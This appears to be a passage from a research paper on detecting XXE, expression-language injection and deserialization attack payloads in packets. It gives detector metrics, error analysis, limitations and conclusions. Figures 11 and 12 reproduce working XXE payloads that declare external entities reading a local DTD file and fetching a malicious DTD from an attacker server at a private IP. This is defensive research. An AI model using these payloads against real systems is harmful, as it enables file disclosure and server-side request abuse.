Table 5. Evaluation results of ELi and IDSER attack detection. The higher (↗) or lower (↘) the value
is, the better the model is. The best scores are shown in bold.

Model
TP

(↗)
TN
(↗)

FP
(↘)

FN
(↘)

Precision
(↗)

Recall
(↗)

F1
(↗)

Naive Bayes 92 296 3 71 0.97 0.56 0.71
Decision Tree 144 298 1 19 0.99 0.88 0.94

Logistic Regression 136 298 1 27 0.99 0.83 0.91
Random Forest 144 298 1 19 0.99 0.88 0.94

SVM 143 298 1 20 0.99 0.88 0.93
XGBoost 139 298 1 24 0.99 0.85 0.92
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Figure 10. ROC curves of ELi and IDSER detection. (a) ROC curves of naive Bayes; (b) ROC curves of
decision tree; (c) ROC curves of logistic regression; (d) ROC curves of random forest; (e) ROC curves
of SVM; (f) ROC curves of XGBoost.

5.3. Evaluation of XXE Detection

In this section, we evaluate the effectiveness of the XXE detector. The evaluation
results are shown in Table 6. Out of 100 benign packets, 97 are correctly classified as benign,
and 3 are misclassified as malicious (TN = 97, FP = 3). Out of 18 malicious packets, 17 are
correctly classified as malicious, and 1 is misclassified as benign (TP = 17, FN = 1). Thus,
the precision is 0.85, the recall is 0.94, and the F1 score is 0.89.

Table 6. Evaluation results of XXE attack detection. The higher (↗) or lower (↘) the value is, the
better the model is.

TP
(↗)

TN
(↗)

FP
(↘)

FN
(↘)

Precision
(↗)

Recall
(↗)

F1
(↗)

17 97 3 1 0.85 0.94 0.89

We analyze the misclassified packets and summarize the causes of the misjudgments.
The case of the false negative is shown in Figure 11. The attacker uploads the malicious DTD
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file (i.e., the passwd.dtd file) to the victim server in some other way, and then uses the XXE
vulnerability of the victim server to refer to the DTD file. Because the packet carrying the
malicious DTD file is not in the current detection period T, the complete UD chain cannot
be constructed, which leads to the false negative. The case of the false positive is shown
in Figure 12. The attacker uses the payload (1) to attack the victim server (the malicious
DTD file constructed by the attacker is saved on 192.168.31.10). Because the attacker enters
2 into w by mistake, the victim server cannot obtain the w.dtd file at 192.168.31.10, so
receives response (1). After identifying this error, the attacker corrects it and proceeds
with an attack using payload (2). As a result, the victim server successfully retrieves the
2.dtd file. When the XXE detector analyzes these packets, both payload (1) and payload
(2) are sent to the victim server within the same period T. Due to the identical entities
used by both payloads, payload (1) is incorrectly associated with response (2), leading to a
false positive. However, this misclassification does not impact the security practitioners’
assessment. Despite payloads without successful attacks being erroneously classified as
successful attacks, a complete UD chain can still be constructed from the packets, indicating
system compromise during period T.

<!DOCTYPE note [

<!ELEMENT note ANY>

<!ELEMENT from ANY>

<!ENTITY from SYSTEM "file:///c:/passwd.dtd">

]>

<note>

  <to>Tove</to>

  <from>&from;</from>

  <head>&data;</head>

  <body>Don't forget me this weekend!</body>

</note>

The packet related to the 

passwd.dtd file could not 

be found within the time 

period T.

Figure 11. A false negative case of the XXE detector.

<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM 

"http://192.168.31.10:80/2.dtd">%ext;%ent;]><root>&data;</root>

HTTP/1.0 200 OK…<!ENTITY % exec SYSTEM "http://

192.168.31.12:8983"><!ENTITY % ent "<!ENTITY data 

SYSTEM ':%exec;'>">

Payload Response

(1)

(2)

(1)

(2)

Error 

Association

<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM 

"http://192.168.31.10:80/w.dtd">%ext;%ent;]><root>&data;</root>
HTTP/1.1 400 Bad Request…java.io.FileNotFoundException

Figure 12. A false positive case of the XXE detector.

5.4. Results and Limitations Analysis

In the preceding sections, we evaluate the detection effect of the proposed model
from various perspectives. Specifically, for the ELi and IDSER detector, our focus is on
identifying malicious expressions and Java code. The ELi and IDSER detector performs well
in detecting ELi, but its effect is declined slightly in detecting IDSER. However, machine
learning models trained with integrated ELi and IDSER data perform well in detecting
both ELi and IDSER simultaneously as expected. For the XXE detector, it can construct
the UD chain of XML entities well and complete the detection based on the integrity of
the chain and the behavior of the chain’s tail node. However, this model still has the
following limitations:
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• The construction of the UD chain for XML entities may introduce false positives,
although these false positives have little impact on the final judgment of security
practitioners.

• The XXE detector has false negatives when analyzing the behavior of UD chain nodes.
Therefore, we suggest providing it with a list of sensitive behaviors to improve its
detection accuracy.

• Because the dataset is collected in the experimental environment, it may lack repre-
sentation of the real production environment. This could result in incomplete feature
analysis and extraction, thus affecting the accuracy of the machine learning model.

• It is difficult to determine the success of an attack solely based on the request and
response packets. We can only make a preliminary judgment by checking if a complete
UD chain can be constructed and if a string can be parsed by the interpreter. This may
bring false positives to practitioners.

6. Conclusions

In this paper, we propose a packet content-oriented RCE attack payload detection
model. The model focuses on XXE, ELi, and IDSER. For the XXE attack, we detect it based
on the integrity of the UD chain of XML entities and the behavior of the chain’s tail node.
For the ELi and IDSER attack, we extract a feature group based on the string operation
and the use of sensitive classes/methods, building a machine learning model for detection.
Evaluation results show that the model has an acceptable effect on the collected dataset.
However, the model has some inevitable FP and FN, and it also faces the problem of
over-fitting. Therefore, in the next work, we will collect and analyze more samples, further
reduce the FP and FN of the model, and alleviate the over-fitting problem of the model.
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